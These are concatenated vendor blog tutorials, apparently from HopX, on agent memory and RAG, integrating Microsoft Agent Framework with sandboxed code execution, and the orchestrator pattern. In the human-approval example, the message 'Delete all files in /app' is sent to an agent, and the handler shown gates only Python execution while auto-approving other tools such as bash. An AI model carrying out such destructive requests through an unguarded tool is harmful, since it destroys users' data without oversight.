company documentation agent.add_documents([ "Our API rate limit is 100 requests per minute for free tier users.", "Premium users get 1000 requests per minute and priority support.", "To upgrade, visit settings > billing > upgrade plan.", "API keys can be rotated in settings > security > API keys." ]) # Answer questions using documentation answer = agent.query("How many API requests can I make?") print(answer) # "Based on your tier: Free users can make 100 requests/minute, # Premium users can make 1000 requests/minute..." ``` ### Advanced RAG with Chunking and Re-ranking ```python from hopx import Sandbox import openai class AdvancedRAG: def __init__(self): self.client = openai.OpenAI() self.chunks = [] def index_document(self, content: str, chunk_size: int = 500, overlap: int = 50): """Split document into overlapping chunks and index""" chunks = self._chunk_text(content, chunk_size, overlap) for i, chunk in enumerate(chunks): embedding = self._get_embedding(chunk) self.chunks.append({ "id": f"chunk_{len(self.chunks)}", "content": chunk, "embedding": embedding, "position": i }) def query(self, question: str, top_k: int = 5) -> str: # Step 1: Initial retrieval candidates = self._retrieve(question, top_k * 2) # Step 2: Re-rank with LLM reranked = self._rerank(question, candidates, top_k) # Step 3: Generate with best context context = "\n\n".join([c["content"] for c in reranked]) return self._generate_answer(question, context) def _chunk_text(self, text: str, size: int, overlap: int) -> list[str]: """Split text into overlapping chunks""" words = text.split() chunks = [] for i in range(0, len(words), size - overlap): chunk = " ".join(words[i:i + size]) if chunk: chunks.append(chunk) return chunks def _retrieve(self, query: str, top_k: int) -> list[dict]: """Vector similarity search""" query_embedding = self._get_embedding(query) scored = [] for chunk in self.chunks: sim = self._cosine_similarity(query_embedding, chunk["embedding"]) scored.append({**chunk, "score": sim}) scored.sort(key=lambda x: x["score"], reverse=True) return scored[:top_k] def _rerank(self, query: str, candidates: list[dict], top_k: int) -> list[dict]: """Use LLM to rerank candidates""" # Format candidates for reranking candidate_text = "\n".join([ f"[{i}] {c['content'][:200]}..." for i, c in enumerate(candidates) ]) response = self.client.chat.completions.create( model="gpt-4o-mini", messages=[{ "role": "user", "content": f"""Rank these passages by relevance to the question. Return only the indices of the top {top_k} most relevant, in order. Question: {query} Passages: {candidate_text} Return format: 3, 1, 5, 2, 4""" }] ) # Parse ranking try: indices = [int(x.strip()) for x in response.choices[0].message.content.split(",")] return [candidates[i] for i in indices[:top_k] if i < len(candidates)] except: return candidates[:top_k] def _generate_answer(self, question: str, context: str) -> str: response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Answer based on the context. Be precise and cite relevant parts." }, { "role": "user", "content": f"Context:\n{context}\n\nQuestion: {question}" }] ) return response.choices[0].message.content ``` ## Combining Memory Types A complete agent uses all three memory types: ```python import openai from datetime import datetime class MemoryEnabledAgent: def __init__(self, user_id: str): self.client = openai.OpenAI() self.user_id = user_id # Short-term: Current conversation self.conversation = SummarizingMemory() # Long-term: User-specific memories self.user_memory = VectorMemory() # External: Knowledge base self.knowledge_base = RAGAgent() # Load user profile self.profile = self._load_profile() def chat(self, message: str) -> str: # Add user message to short-term memory self.conversation.add("user", message) # Retrieve relevant long-term memories relevant_memories = self.user_memory.search(message, top_k=3) memory_context = "\n".join([m.content for m in relevant_memories]) # Retrieve relevant knowledge knowledge_context = "" if self._needs_knowledge(message): knowledge_results = self.knowledge_base._retrieve(message, top_k=3) knowledge_context = "\n".join([k["content"] for k in knowledge_results]) # Build system prompt with context system_prompt = self._build_system_prompt(memory_context, knowledge_context) # Generate response messages = [{"role": "system", "content": system_prompt}] messages.extend(self.conversation.get_messages()) response = self.client.chat.completions.create( model="gpt-4o", messages=messages ) assistant_message = response.choices[0].message.content # Add to short-term memory self.conversation.add("assistant", assistant_message) # Extract and store any new facts about user self._extract_and_store_facts(message, assistant_message) return assistant_message def _build_system_prompt(self, memories: str, knowledge: str) -> str: prompt = f"""You are a helpful AI assistant with memory. User Profile: - Name: {self.profile.get('name', 'Unknown')} - Preferences: {self.profile.get('preferences', {})} Relevant memories about this user: {memories if memories else '(No relevant memories)'} Relevant knowledge: {knowledge if knowledge else '(No external knowledge needed)'} Use this context to personalize your responses.""" return prompt def _needs_knowledge(self, message: str) -> bool: """Determine if we need to search knowledge base""" knowledge_triggers = ["how do", "what is", "explain", "help me", "documentation"] return any(trigger in message.lower() for trigger in knowledge_triggers) def _extract_and_store_facts(self, user_msg: str, assistant_msg: str): """Extract facts from conversation to store in long-term memory""" extraction_prompt = f"""Extract any new facts about the user from this exchange. Return JSON: {{"facts": ["fact1", "fact2"]}} or {{"facts": []}} if none. User: {user_msg} Assistant: {assistant_msg}""" response = self.client.chat.completions.create( model="gpt-4o-mini", messages=[{"role": "user", "content": extraction_prompt}], response_format={"type": "json_object"} ) import json result = json.loads(response.choices[0].message.content) for fact in result.get("facts", []): self.user_memory.add( content=fact, metadata={ "user_id": self.user_id, "extracted_at": datetime.now().isoformat() } ) # Usage agent = MemoryEnabledAgent(user_id="user_123") # First conversation agent.chat("Hi! I'm a Python developer working on machine learning projects.") agent.chat("I prefer concise explanations.") # Later session - agent remembers! agent.chat("Can you help me with my code?") # Agent responds knowing user is a Python ML developer who prefers concise answers ``` ## Memory with Code Execution For agents that execute code, persist state across executions: ```python from hopx import Sandbox import json class StatefulCodeAgent: def __init__(self, session_id: str): self.session_id = session_id self.sandbox = None self.state_file = f"/app/state_{session_id}.json" def start_session(self): """Create sandbox and restore state""" self.sandbox = Sandbox.create(template="code-interpreter") # Check for existing state try: state_content = self.sandbox.files.read(self.state_file) self.state = json.loads(state_content) print(f"Restored state with {len(self.state.get('variables', {}))} variables") except: self.state = {"variables": {}, "history": []} def execute(self, code: str) -> str: """Execute code and persist state""" # Inject state restoration setup_code = f""" import json # Restore variables from previous session _state = {json.dumps(self.state.get('variables', {}))} globals().update(_state) """ # Wrap code to capture new variables wrapped_code = f""" {setup_code} # User code {code} # Capture state import json _new_state = {{k: v for k, v in globals().items() if not k.startswith('_') and k not in ['json', 'builtins'] and isinstance(v, (int, float, str, list, dict, bool))}} with open('{self.state_file}', 'w') as f: json.dump({{'variables': _new_state}}, f) """ self.sandbox.files.write("/app/code.py", wrapped_code) result = self.sandbox.commands.run("python /app/code.py") # Update local state try: state_content = self.sandbox.files.read(self.state_file) self.state = json.loads(state_content) except: pass return result.stdout if result.exit_code == 0 else f"Error: {result.stderr}" def get_variables(self) -> dict: """Get current session variables""" return self.state.get("variables", {}) def end_session(self): """Clean up but persist state for next session""" if self.sandbox: # State is already persisted in sandbox self.sandbox.kill() # Usage agent = StatefulCodeAgent("session_abc123") agent.start_session() # First execution agent.execute("x = 10\ny = 20\nprint(x + y)") # Output: 30 # Second execution - variables persist! agent.execute("print(x * y)") # Output: 200 # Check what's stored print(agent.get_variables()) # {'x': 10, 'y': 20} agent.end_session() ``` ## Best Practices ### 1. Separate Memory Concerns ```python # ❌ Don't: Mixing all memory in one place memory = {"conversation": [...], "user_facts": [...], "documents": [...]} # ✅ Do: Separate by type and lifecycle class AgentMemory: def __init__(self): self.short_term = ConversationBuffer() # Per-session self.long_term = VectorMemory() # Persistent self.knowledge = RAGAgent() # External ``` ### 2. Implement Memory Decay ```python def search_with_decay(self, query: str, decay_days: int = 30): """Recent memories are weighted higher""" from datetime import datetime, timedelta results = self.search(query) now = datetime.now() for result in results: age_days = (now - result.timestamp).days decay_factor = max(0.5, 1 - (age_days / decay_days)) result.score *= decay_factor return sorted(results, key=lambda x: x.score, reverse=True) ``` ### 3. Limit Memory Scope ```python # Filter memories by relevance def get_relevant_memories(self, query: str, context: str): all_memories = self.search(query) # Only include highly relevant memories return [m for m in all_memories if m.score > 0.7] ``` ### 4. Handle Memory Conflicts ```python def add_with_conflict_resolution(self, fact: str): # Check for conflicting memories similar = self.search(fact, top_k=3) for existing in similar: if self._is_contradiction(fact, existing.content): # New information replaces old self.delete(existing.id) self.add(fact) ``` ## Conclusion Memory transforms agents from forgetful assistants into intelligent systems that: - **Maintain context** within and across sessions - **Learn preferences** and personalize over time - **Access knowledge** beyond training data - **Build expertise** through accumulated experience Start with simple conversation memory. Add long-term storage when you need persistence. Implement RAG when you have knowledge bases to query. The agent that remembers outperforms the agent that forgets. Every time. --- Ready to build agents with persistent memory and code execution? [Get started with HopX](https://console.hopx.ai) — sandboxes that maintain state across sessions. ## Further Reading - [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — Agent fundamentals - [The Planning Pattern](/blog/ai-agents/planning-pattern-ai-agents) — Use memory to track plan execution - [Tool Use Pattern](/blog/ai-agents/tool-use-pattern-ai-agents) — Tools for memory operations - [Building a Code Interpreter](/blog/ai-agents/build-code-interpreter-openai-hopx) — Stateful code execution - [Pinecone Documentation](https://docs.pinecone.io/) — Production vector database - [LangChain Memory](https://python.langchain.com/docs/modules/memory/) — Memory abstractions --- ## Microsoft Agent Framework with HopX: Secure Code Execution for AI Agents URL: https://hopx.ai/blog/tutorials/microsoft-agent-framework-hopx/ Category: Tutorials Published: 2025-11-27 # Microsoft Agent Framework with HopX: Secure Code Execution Microsoft just unified the AI agent landscape. **Agent Framework** combines the best of AutoGen and Semantic Kernel into a single, enterprise-ready SDK. Both predecessors are now in maintenance mode—this is the future. But Agent Framework inherits the same code execution challenge: where do you safely run AI-generated code? This guide shows how to integrate HopX sandboxes for secure, isolated execution. ## What Is Agent Framework? Agent Framework is Microsoft's new unified SDK for building AI agents: ``` ┌─────────────────────────────────────────────────────────────────┐ │ Agent Framework │ │ (Successor to AutoGen + Semantic Kernel) │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ From AutoGen: │ │ │ │ • Simple multi-agent conversations │ │ │ │ • Agent orchestration patterns │ │ │ │ • Group chat abstractions │ │ │ └─────────────────────────────────────────────────────────┘ │ │ + │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ From Semantic Kernel: │ │ │ │ • Enterprise-grade state management │ │ │ │ • Thread-based conversations │ │ │ │ • Type safety and observability │ │ │ │ • Azure AI Foundry integration │ │ │ └─────────────────────────────────────────────────────────┘ │ │ + │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ New in Agent Framework: │ │ │ │ • Workflow graphs for explicit execution paths │ │ │ │ • Human-in-the-loop patterns │ │ │ │ • A2A (Agent-to-Agent) connections │ │ │ │ • MCP (Model Context Protocol) support │ │ │ └─────────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────────┘ ``` ## Why Migrate Now? | Feature | AutoGen | Semantic Kernel | Agent Framework | |---------|---------|-----------------|-----------------| | Status | Maintenance | Maintenance | **Active Development** | | Multi-agent | ✅ | Limited | ✅ Enhanced | | Enterprise features | Limited | ✅ | ✅ | | Azure integration | Basic | ✅ | ✅✅ Native | | Workflow graphs | ❌ | ❌ | ✅ New | | Code execution | Docker/Local | Plugins | **Extensible** | ## Prerequisites ```bash pip install agent-framework hopx-ai ``` Set environment variables: ```bash export OPENAI_API_KEY="sk-..." export HOPX_API_KEY="..." # Or for Azure OpenAI: export AZURE_OPENAI_API_KEY="..." export AZURE_OPENAI_ENDPOINT="https://..." ``` ## Step 1: Create a Code Execution Tool Agent Framework uses a clean tool/function interface. Here's how to wrap HopX: ```python from agent_framework import ChatAgent, Tool, tool from hopx import Sandbox from typing import Optional class HopXExecutor: """Manage HopX sandbox for code execution.""" def __init__(self, persist: bool = True, ttl: int = 600): self.persist = persist self.ttl = ttl self._sandbox: Optional[Sandbox] = None @property def sandbox(self) -> Sandbox: """Get or create sandbox.""" if self._sandbox is None: self._sandbox = Sandbox.create( template="code-interpreter", ttl=self.ttl if self.persist else 60 ) return self._sandbox def execute(self, code: str, language: str = "python") -> str: """Execute code in sandbox.""" try: result = self.sandbox.runCode(code, language=language, timeout=60) if result.exitCode == 0: return result.stdout or "Code executed successfully (no output)" else: return f"Error (exit {result.exitCode}):\n{result.stderr}" except Exception as e: self._sandbox = None # Reset on error return f"Execution failed: {str(e)}" def cleanup(self): """Destroy sandbox.""" if self._sandbox: self._sandbox.kill() self._sandbox = None # Create global executor executor = HopXExecutor(persist=True) @tool def execute_python(code: str) -> str: """ Execute Python code in a secure, isolated sandbox. Use this tool when you need to: - Perform calculations or mathematical operations - Analyze data with pandas, numpy - Create visualizations with matplotlib - Process files or data structures - Run any Python computation The sandbox has pandas, numpy, matplotlib, seaborn, scikit-learn installed. Always use print() to show results. State persists between calls within the same session. Args: code: Complete, executable Python code Returns: Output from code execution or error message """ return executor.execute(code, "python") @tool def execute_bash(command: str) -> str: """ Execute bash commands in a secure sandbox. Use for: - File operations (ls, cat, head) - Package installation (pip install) - System commands Args: command: Bash command to execute Returns: Command output or error """ return executor.execute(command, "bash") ``` ## Step 2: Create a ChatAgent with Tools Build an agent that can execute code: ```python from agent_framework import ChatAgent, ChatClient from agent_framework.models import OpenAIChatClient import os # Create chat client client = OpenAIChatClient( model="gpt-4o", api_key=os.environ["OPENAI_API_KEY"] ) # Or for Azure OpenAI: # from agent_framework.models import AzureOpenAIChatClient # client = AzureOpenAIChatClient( # deployment_name="gpt-4o", # endpoint=os.environ["AZURE_OPENAI_ENDPOINT"], # api_key=os.environ["AZURE_OPENAI_API_KEY"] # ) # Create agent with tools agent = ChatAgent( name="CodeAssistant", client=client, tools=[execute_python, execute_bash], system_message="""You are a helpful AI assistant that can execute Python code. When users ask questions that require computation: 1. Write clear, well-documented Python code 2. Use the execute_python tool to run it 3. Analyze the results and explain them Available libraries: pandas, numpy, matplotlib, seaborn, scipy, scikit-learn. For visualizations, save to /app/chart.png using plt.savefig(). Always print() results you want to see. """ ) # Get a new conversation thread thread = agent.get_new_thread() # Chat with the agent response = await agent.chat( thread=thread, message="Calculate the first 50 prime numbers and find their sum" ) print(response.content) # Continue the conversation (state persists) response = await agent.chat( thread=thread, message="Now find the average and standard deviation of those primes" ) print(response.content) # Cleanup executor.cleanup() ``` ## Step 3: Multi-Agent Workflows Agent Framework introduces workflow graphs for complex multi-agent scenarios: ```python from agent_framework import ChatAgent, Workflow, Node, Edge from agent_framework.models import OpenAIChatClient # Create specialized agents researcher = ChatAgent( name="Researcher", client=client, system_message="You research topics and identify key questions to answer." ) analyst = ChatAgent( name="Analyst", client=client, tools=[execute_python], system_message="You analyze data using Python. Always verify with code." ) writer = ChatAgent( name="Writer", client=client, system_message="You create clear, well-structured reports from analysis results." ) # Define workflow graph workflow = Workflow( name="ResearchPipeline", nodes=[ Node(id="research", agent=researcher), Node(id="analyze", agent=analyst), Node(id="report", agent=writer) ], edges=[ Edge(source="research", target="analyze"), Edge(source="analyze", target="report") ] ) # Execute workflow result = await workflow.run( input="Analyze the relationship between company size and revenue growth" ) print(result.output) ``` ## Step 4: Persistent State Across Agents For workflows where agents need to share data: ```python from agent_framework import ChatAgent, tool from hopx import Sandbox from typing import Optional import json class SharedSandboxManager: """Singleton sandbox shared across all agents.""" _instance: Optional['SharedSandboxManager'] = None _sandbox: Optional[Sandbox] = None @classmethod def get_instance(cls) -> 'SharedSandboxManager': if cls._instance is None: cls._instance = cls() return cls._instance def get_sandbox(self) -> Sandbox: if self._sandbox is None: self._sandbox = Sandbox.create( template="code-interpreter", ttl=900 # 15 minutes for long workflows ) # Initialize common imports self._sandbox.runCode(""" import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns import json from datetime import datetime print("Shared environment ready!") """, language="python", timeout=30) return self._sandbox def execute(self, code: str) -> str: sandbox = self.get_sandbox() result = sandbox.runCode(code, language="python", timeout=60) return result.stdout if result.exitCode == 0 else f"Error: {result.stderr}" def cleanup(self): if self._sandbox: self._sandbox.kill() self._sandbox = None @tool def shared_python(code: str) -> str: """ Execute Python with SHARED STATE across all agents. Variables, DataFrames, and computations persist between calls from ANY agent in the workflow. Use for collaborative analysis. Args: code: Python code to execute Returns: Execution output """ return SharedSandboxManager.get_instance().execute(code) # Create agents that share state data_engineer = ChatAgent( name="DataEngineer", client=client, tools=[shared_python], system_message="You prepare and clean data. Save results to variables for other agents." ) data_scientist = ChatAgent( name="DataScientist", client=client, tools=[shared_python], system_message="You analyze prepared data. Build on variables created by DataEngineer." ) # In a workflow, both agents access the same sandbox # DataEngineer: df = pd.read_csv(...) # DataScientist: df['new_col'] = ... # Same df! ``` ## Step 5: Human-in-the-Loop Patterns Agent Framework has first-class support for human approval: ```python from agent_framework import ChatAgent, HumanApprovalHandler from agent_framework.handlers import ConsoleApprovalHandler # Custom approval handler for code execution class CodeApprovalHandler(HumanApprovalHandler): """Require human approval before executing code.""" async def request_approval(self, action: str, details: dict) -> bool: if action == "tool_call" and details.get("tool") == "execute_python": code = details.get("arguments", {}).get("code", "") print("\n" + "="*60) print("🔍 Code Execution Request") print("="*60) print(code) print("="*60) response = input("Approve execution? [y/N]: ").strip().lower() return response == "y" return True # Auto-approve other actions # Create agent with approval handler secure_agent = ChatAgent( name="SecureAssistant", client=client, tools=[execute_python], approval_handler=CodeApprovalHandler() ) # Now code execution requires human approval response = await secure_agent.chat( thread=thread, message="Delete all files in /app" # This will prompt for approval! ) ``` ## Step 6: Migration from AutoGen If you're migrating from AutoGen, here's a comparison: ### AutoGen (Old) ```python # AutoGen way from autogen import AssistantAgent, UserProxyAgent assistant = AssistantAgent( name="assistant", llm_config={"config_list": [{"model": "gpt-4o"}]} ) user_proxy = UserProxyAgent( name="user_proxy", code_execution_config={"executor": docker_executor} ) user_proxy.initiate_chat(assistant, message="Hello") ``` ### Agent Framework (New) ```python # Agent Framework way from agent_framework import ChatAgent from agent_framework.models import OpenAIChatClient agent = ChatAgent( name="assistant", client=OpenAIChatClient(model="gpt-4o"), tools=[execute_python] # HopX-backed tool ) thread = agent.get_new_thread() response = await agent.chat(thread=thread, message="Hello") ``` ### Key Differences | AutoGen | Agent Framework | |---------|-----------------| | `AssistantAgent` + `UserProxyAgent` | Single `ChatAgent` | | `llm_config` dict | `ChatClient` object | | `initiate_chat()` | `agent.chat()` async | | Docker executor | Custom tools (HopX) | | Implicit state | Explicit threads | ## Complete Working Example Production-ready Agent Framework with HopX: ```python """ Microsoft Agent Framework with HopX Code Execution """ import asyncio import os from typing import Optional from agent_framework import ChatAgent, tool, Workflow, Node, Edge from agent_framework.models import OpenAIChatClient from hopx import Sandbox # Verify environment assert os.environ.get("OPENAI_API_KEY"), "Set OPENAI_API_KEY" assert os.environ.get("HOPX_API_KEY"), "Set HOPX_API_KEY" class SandboxManager: """Manage shared HopX sandbox.""" _sandbox: Optional[Sandbox] = None @classmethod def execute(cls, code: str, language: str = "python") -> str: if cls._sandbox is None: cls._sandbox = Sandbox.create(template="code-interpreter", ttl=600) result = cls._sandbox.runCode(code, language=language, timeout=60) return result.stdout if result.exitCode == 0 else f"Error: {result.stderr}" @classmethod def cleanup(cls): if cls._sandbox: cls._sandbox.kill() cls._sandbox = None @tool def python(code: str) -> str: """Execute Python code. State persists between calls.""" return SandboxManager.execute(code, "python") @tool def bash(command: str) -> str: """Execute bash commands.""" return SandboxManager.execute(command, "bash") async def main(): # Create client client = OpenAIChatClient( model="gpt-4o", api_key=os.environ["OPENAI_API_KEY"] ) # Create agent agent = ChatAgent( name="DataAnalyst", client=client, tools=[python, bash], system_message="""You are a data analyst. Use Python for all calculations. Always verify results with code. Available: pandas, numpy, matplotlib.""" ) # Start conversation thread = agent.get_new_thread() try: # Multi-turn conversation with persistent state print("Query 1: Creating data...") r1 = await agent.chat( thread=thread, message="Create a DataFrame with 500 rows of sales data: date, product, region, amount" ) print(r1.content) print("\nQuery 2: Analyzing...") r2 = await agent.chat( thread=thread, message="Calculate total sales by region and find the top performer" ) print(r2.content) print("\nQuery 3: Visualization...") r3 = await agent.chat( thread=thread, message="Create a bar chart of sales by region" ) print(r3.content) finally: SandboxManager.cleanup() print("\n✅ Sandbox cleaned up") if __name__ == "__main__": asyncio.run(main()) ``` ## Workflow Example: Research Pipeline ```python async def run_research_pipeline(): """Run a multi-agent research workflow.""" client = OpenAIChatClient(model="gpt-4o") # Specialized agents researcher = ChatAgent( name="Researcher", client=client, system_message="Identify key research questions and data requirements." ) analyst = ChatAgent( name="Analyst", client=client, tools=[python], system_message="Perform data analysis. Always use code for accuracy." ) writer = ChatAgent( name="Writer", client=client, tools=[python], system_message="Create clear reports. Verify numbers with code." ) # Define workflow workflow = Workflow( name="MarketResearch", nodes=[ Node(id="research", agent=researcher), Node(id="analyze", agent=analyst), Node(id="report", agent=writer) ], edges=[ Edge(source="research", target="analyze"), Edge(source="analyze", target="report") ] ) try: result = await workflow.run( input=""" Research Question: What factors correlate with high customer lifetime value? Create synthetic customer data and analyze: - Demographics (age, income, location) - Behavior (purchase frequency, avg order value) - Engagement (email opens, support tickets) Identify the top 3 predictive factors. """ ) print("="*60) print("RESEARCH REPORT") print("="*60) print(result.output) finally: SandboxManager.cleanup() asyncio.run(run_research_pipeline()) ``` ## Best Practices ### 1. Use Async/Await ```python # Agent Framework is async-first response = await agent.chat(thread=thread, message=query) ``` ### 2. Manage Thread Lifecycle ```python # Create thread for conversation thread = agent.get_new_thread() # Use same thread for multi-turn r1 = await agent.chat(thread=thread, message="Step 1") r2 = await agent.chat(thread=thread, message="Step 2") # Continues context ``` ### 3. Cleanup Resources ```python try: result = await workflow.run(input=task) finally: SandboxManager.cleanup() ``` ### 4. Handle Errors Gracefully ```python @tool def safe_python(code: str) -> str: """Execute Python with error handling.""" try: return SandboxManager.execute(code) except Exception as e: SandboxManager._sandbox = None # Reset on failure return f"Execution failed: {e}. Please try again." ``` ## Conclusion Microsoft Agent Framework represents the future of AI agent development at Microsoft. By integrating with HopX, you get: - **Unified SDK**: One framework instead of AutoGen + Semantic Kernel - **Secure execution**: Isolated microVMs for code execution - **Enterprise-ready**: Azure integration, observability, state management - **Future-proof**: Active development vs maintenance mode Start migrating your AutoGen and Semantic Kernel projects now. The future is Agent Framework + HopX. --- Ready to build with Agent Framework? [Get started with HopX](https://console.hopx.ai) for secure code execution. ## Further Reading - [Agent Framework Documentation](https://learn.microsoft.com/en-us/agent-framework/) — Official docs - [Migration from AutoGen](https://learn.microsoft.com/en-us/semantic-kernel/support/migration/agent-framework-rc-migration-guide) — Migration guide - [Migration from Semantic Kernel](https://learn.microsoft.com/en-us/agent-framework/migration-guide/from-semantic-kernel/) — Migration guide - [AutoGen with HopX](/blog/tutorials/autogen-hopx-isolated-execution) — Legacy AutoGen integration - [Multi-Agent Architectures](/blog/deep-dives/multi-agent-architectures-with-hopx) — Deep dive into patterns --- ## The Orchestrator Pattern: Coordinating Complex AI Agent Workflows URL: https://hopx.ai/blog/ai-agents/orchestrator-pattern-ai-agents/ Category: AI Agents Published: 2025-11-27 # The Orchestrator Pattern: Coordinating Complex AI Agent Workflows Single agents hit walls. They run out of context, lack specialized skills, and struggle with complex multi-step tasks. The solution? Don't build one super-agent—build an **orchestrator** that coordinates many specialized agents. The Orchestrator Pattern is how you build AI systems that tackle enterprise-grade complexity: routing tasks to the right specialists, managing dependencies, handling failures, and synthesizing results. This guide shows you how to build orchestrators that turn chaos into coordination. ## What Is the Orchestrator Pattern? An orchestrator is a meta-agent that doesn't do the work itself—it decides *who* should do the work and *when*: ``` ┌─────────────────────────────────────────────────────────────┐ │ ORCHESTRATOR │ │ │ │ "Analyze sales data, create visualizations, │ │ and write an executive summary" │ │ │ │ │ │ │ ▼ │ │ ┌─────────────────────┐ │ │ │ Task Decomposer │ │ │ └──────────┬──────────┘ │ │ │ │ │ ┌───────────────┼───────────────┐ │ │ ▼ ▼ ▼ │ │ ┌───────────┐ ┌───────────┐ ┌───────────┐ │ │ │ Data │ │ Viz │ │ Writer │ │ │ │ Analyst │ │ Agent │ │ Agent │ │ │ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │ │ │ │ │ │ │ └───────────────┼───────────────┘ │ │ ▼ │ │ ┌─────────────────────┐ │ │ │ Result Synthesizer │ │ │ └─────────────────────┘ │ │ │ │ │ ▼ │ │ Final Output │ │ │ └─────────────────────────────────────────────────────────────┘ ``` The orchestrator handles: - **Task decomposition**: Breaking complex tasks into subtasks - **Agent selection**: Routing each subtask to the right specialist - **Dependency management**: Ensuring correct execution order - **Result synthesis**: Combining outputs into a coherent whole - **Error handling**: Retrying, rerouting, or escalating failures ## Why Orchestration Matters ### 1. Specialization Beats Generalization One agent trying to do everything: ``` ❌ Jack of all trades, master of none ❌ Context window filled with irrelevant instructions ❌ Conflicting objectives in one prompt ``` Specialized agents with orchestration: ``` ✅ Each agent masters its domain ✅ Focused context for each task ✅ Clear, single-purpose prompts ``` ### 2. Scalability ``` Single Agent Orchestrated System │ │ ▼ ▼ ┌─────────┐ ┌─────────────┐ │ One LLM │ │Orchestrator │ │ Call │ └──────┬──────┘ └─────────┘ │ ┌─────────┼─────────┐ ▼ ▼ ▼ ┌───────┐ ┌───────┐ ┌───────┐ │Agent 1│ │Agent 2│ │Agent 3│ └───────┘ └───────┘ └───────┘ │ │ │ └─────────┼─────────┘ ▼ Run in parallel = 3x faster ``` ### 3. Fault Isolation When one agent fails: - **Without orchestration**: Entire task fails - **With orchestration**: Retry, use backup agent, or gracefully degrade ## Basic Orchestrator Implementation Here's a complete, minimal orchestrator: ```python import openai import json from dataclasses import dataclass from enum import Enum from typing import Callable import concurrent.futures class TaskStatus(Enum): PENDING = "pending" RUNNING = "running" COMPLETED = "completed" FAILED = "failed" @dataclass class Task: id: str description: str agent_type: str dependencies: list[str] status: TaskStatus = TaskStatus.PENDING result: str = None error: str = None @dataclass class Agent: name: str description: str execute: Callable[[str, dict], str] class Orchestrator: def __init__(self, agents: dict[str, Agent]): self.client = openai.OpenAI() self.agents = agents self.tasks: dict[str, Task] = {} self.results: dict[str, str] = {} def run(self, goal: str) -> dict: """Orchestrate agents to achieve the goal""" # Phase 1: Decompose into tasks tasks = self._decompose(goal) self.tasks = {t.id: t for t in tasks} print(f"Created {len(tasks)} tasks") # Phase 2: Execute tasks respecting dependencies while not self._all_complete(): # Find tasks ready to run ready = self._get_ready_tasks() if not ready: if self._has_failures(): break continue # Execute ready tasks in parallel with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor: futures = { executor.submit(self._execute_task, task): task for task in ready } for future in concurrent.futures.as_completed(futures): task = futures[future] try: result = future.result() task.status = TaskStatus.COMPLETED task.result = result self.results[task.id] = result except Exception as e: task.status = TaskStatus.FAILED task.error = str(e) # Phase 3: Synthesize results if self._has_failures(): return { "success": False, "completed": [t.id for t in self.tasks.values() if t.status == TaskStatus.COMPLETED], "failed": [t.id for t in self.tasks.values() if t.status == TaskStatus.FAILED], "partial_results": self.results } final_result = self._synthesize(goal, self.results) return { "success": True, "result": final_result, "tasks_completed": len(self.tasks) } def _decompose(self, goal: str) -> list[Task]: """Break goal into tasks with dependencies""" agent_descriptions = "\n".join([ f"- {name}: {agent.description}" for name, agent in self.agents.items() ]) response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": f"""Decompose this goal into tasks for available agents. Available agents: {agent_descriptions} Return JSON: {{ "tasks": [ {{ "id": "task_1", "description": "What to do", "agent_type": "agent_name", "dependencies": [] }}, {{ "id": "task_2", "description": "Next task", "agent_type": "agent_name", "dependencies": ["task_1"] }} ] }} Rules: - Break into 2-8 tasks - Each task should be focused and achievable - List dependencies (tasks that must complete first) - Assign to the most appropriate agent""" }, { "role": "user", "content": goal }], response_format={"type": "json_object"} ) data = json.loads(response.choices[0].message.content) return [ Task( id=t["id"], description=t["description"], agent_type=t["agent_type"], dependencies=t.get("dependencies", []) ) for t in data["tasks"] ] def _get_ready_tasks(self) -> list[Task]: """Get tasks whose dependencies are all complete""" ready = [] for task in self.tasks.values(): if task.status != TaskStatus.PENDING: continue deps_complete = all( self.tasks[dep].status == TaskStatus.COMPLETED for dep in task.dependencies ) if deps_complete: ready.append(task) return ready def _execute_task(self, task: Task) -> str: """Execute a single task using the appropriate agent""" task.status = TaskStatus.RUNNING agent = self.agents.get(task.agent_type) if not agent: raise ValueError(f"Unknown agent type: {task.agent_type}") # Gather context from dependencies context = { dep: self.results[dep] for dep in task.dependencies } return agent.execute(task.description, context) def _all_complete(self) -> bool: return all( t.status in [TaskStatus.COMPLETED, TaskStatus.FAILED] for t in self.tasks.values() ) def _has_failures(self) -> bool: return any(t.status == TaskStatus.FAILED for t in self.tasks.values()) def _synthesize(self, goal: str, results: dict) -> str: """Combine task results into final output""" results_text = "\n\n".join([ f"=== {task_id} ===\n{result}" for task_id, result in results.items() ]) response = self.client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Synthesize these task results into a coherent final response." }, { "role": "user", "content": f"Goal: {goal}\n\nTask Results:\n{results_text}" }] ) return response.choices[0].message.content # Define specialized agents def create_data_analyst(): client = openai.OpenAI() def execute(task: str, context: dict) -> str: response = client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "You are a data analyst. Analyze data and provide insights." }, { "role": "user", "content": f"Task: {task}\n\nContext: {json.dumps(context)}" }] ) return response.choices[0].message.content return Agent( name="data_analyst", description="Analyzes data, finds patterns, calculates statistics", execute=execute ) def create_writer(): client = openai.OpenAI() def execute(task: str, context: dict) -> str: response = client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "You are a professional writer. Create clear, engaging content." }, { "role": "user", "content": f"Task: {task}\n\nContext: {json.dumps(context)}" }] ) return response.choices[0].message.content return Agent( name="writer", description="Writes reports, summaries, and documentation", execute=execute ) def create_coder(): from hopx import Sandbox client = openai.OpenAI() def execute(task: str, context: dict) -> str: # Generate code response = client.chat.completions.create( model="gpt-4o", messages=[{ "role": "system", "content": "Write Python code to accomplish the task. Output only code." }, { "role": "user", "content": f"Task: {task}\n\nContext: {json.dumps(context)}" }] ) code = response.choices[0].message.content # Execute in sandbox sandbox = Sandbox.create(template="code-interpreter") try: sandbox.files.write("/app/task.py", code) result = sandbox.commands.run("python /app/task.py") return result.stdout if result.exit_code == 0 else f"Error: {result.stderr}" finally: sandbox.kill() return Agent( name="coder", description="Writes and executes Python code for data processing and analysis", execute=execute ) 